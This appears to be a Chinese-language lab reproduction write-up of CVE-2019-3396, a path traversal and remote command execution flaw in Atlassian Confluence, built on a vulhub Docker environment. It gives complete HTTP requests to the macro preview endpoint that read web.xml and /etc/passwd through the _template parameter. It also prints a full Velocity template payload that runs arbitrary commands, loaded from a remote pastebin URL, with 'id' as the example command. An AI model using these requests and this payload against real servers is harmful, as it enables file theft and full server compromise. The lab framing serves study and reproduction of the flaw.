CVE-2019-3396
Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)
1.漏洞影响版本
Atlassian Confluence<6.14.2
2.漏洞危害
路径穿越与命令执行漏洞
3.漏洞POC
cd /root/vulhub/confluence/CVE-2019-3396 ////进入本次复现的vulhub目录
docker-compose up -d ////docker-compose搭建环境
部署环境
license获取环境启动后,访问http://your-ip:8090会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons)license key获取地址:
备注:本次环境需要用梯子了,因为本小白是用的gmail注册的,分享一个免费梯子链接:免费SS - 放牧的风
填写license
然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。
配置截图如果提示填写cluster node,路径填写/home/confluence即可:
数据库配置后续可能要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres:
按照提示,结束配置。
访问:http://192.168.11.138:8090/rest/tinymce/1/macro/preview
发送如下数据包,查看web.xml:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.11.138:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.11.138:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 168
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
web.xml
/etc/passwdfile:///etc/passwd
大佬公网exp
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
通过https://读取exp,构造如下数据包执行任意命令,我读取的是caiqiiqi大佬的exp,复盘中写了caiqiiqi大佬的文章,文章内容很详细,语言功底好的可以了解下大佬调试的过程。
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.11.138:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.11.138:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 202
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"https://pastebin.com/raw/RyUvk1h8","cmd":"id"}}}
id
4.复盘
漏洞出现原因
参考: caiqiiqi大佬文章
通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。